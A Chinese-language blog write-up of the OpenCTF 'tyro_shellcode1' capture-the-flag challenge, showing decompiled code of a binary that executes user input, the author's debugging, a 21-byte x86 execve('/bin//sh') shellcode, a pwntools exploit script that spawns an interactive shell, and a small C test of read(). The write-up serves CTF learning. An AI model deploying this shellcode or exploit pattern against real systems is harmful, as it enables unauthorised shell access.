shellcode-tyro_shellcode1

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   int v3; // ST2C_4
 4   void *v4; // ST30_4
 5   int v5; // ST38_4
 6   char s; // [esp+3Ch] [ebp-84h]
 7   unsigned int v8; // [esp+BCh] [ebp-4h]
 8 
 9   v8 = __readgsdword(0x14u);
10   v3 = open("/home/challenge/flag", 0);
11   setbuf(_bss_start, 0);
12   setbuf(stdout, 0);
13   alarm(0x1Eu);
14   v4 = mmap(0, 0x80u, 7, 34, -1, 0);
15   memset(v4, 0xC3, 0x7Fu);
16   memset(&s, 0, 0x7Fu);
17   puts("OpenCTF tyro shellcode challenge.\n");
18   puts("Write me some shellcode that reads from the file_descriptor");
19   puts("I supply and writes it to the buffer that I supply");
20   printf("%d ... 0x%08x\n", v3, &s);
21   read(0, v4, 0x20u);
22   v5 = ((int (*)(void))v4)();
23   puts(&s);
24   return v5;
25 }

IDA打开观察,发现很乱,而且也没有找到有接收用户输入的地方。然后我就发现v3打开了在/home/challenge/flag目录下的文件,而且程序中还有提示,说是会在file_descriptor那里读取flag,我想既然程序中没有找到接受输入的语句,那么应该就是按照题目中的提示,去构造这个文件,然后再向这个文件里写入shellcode,最后在22行中把这个文件当作指令来执行就能够得到flag了。

在这里我用的是只有21字节的shellcode,b'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

 

 

 

我先是在windows里用winhex把这串shellcode输入了进去。

 

 

 然后按照程序提示,在对应的路径里放进去了构造好的flag文件。

 

 

 然后执行,发现无法调出shell。但是明明这里返回值为3,说明这个路径下的flag文件已经读取成功了。

 

 

 然后执行动态调试,居然在这里发现里接受输入数据的指令。这里是把输入数据放在了0xf7ffb000的位置。

 

 然后在它后面的call中,是要转到0xf7ffb000的地址的。也就是说明,程序会把接受的数据直接当作指令来执行的。

1 from pwn import *
2 io=process('./tyro_shellcode1')
3 shellcode=b'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
4 io.send(shellcode)
5 io.interactive()

这样的话就简单了,直接写出脚本。

最后研究一下,为什么程序中并没有gets,scanf之类的输入函数,却仍然能够接受用户输入。

1 #include <bits/stdc++.h>
2 #include <unistd.h>
3 int main()
4 {
5     void *v4 = malloc(100);
6     read(0,v4,20);
7     printf("%s",(char *)v4);
8     return 0;
9 }

我在dev c++中写了这串代码。

运行后发现,程序确实会接受输入,并且输出的就是刚输入的。

但是如果把read(0,v4,20);中的第一个参数,改为一个非0的数,就不会接受输入了,程序只会返回一串乱码。

posted @ 2020-12-10 19:38  大金刚仔  阅读(95)  评论(0编辑  收藏  举报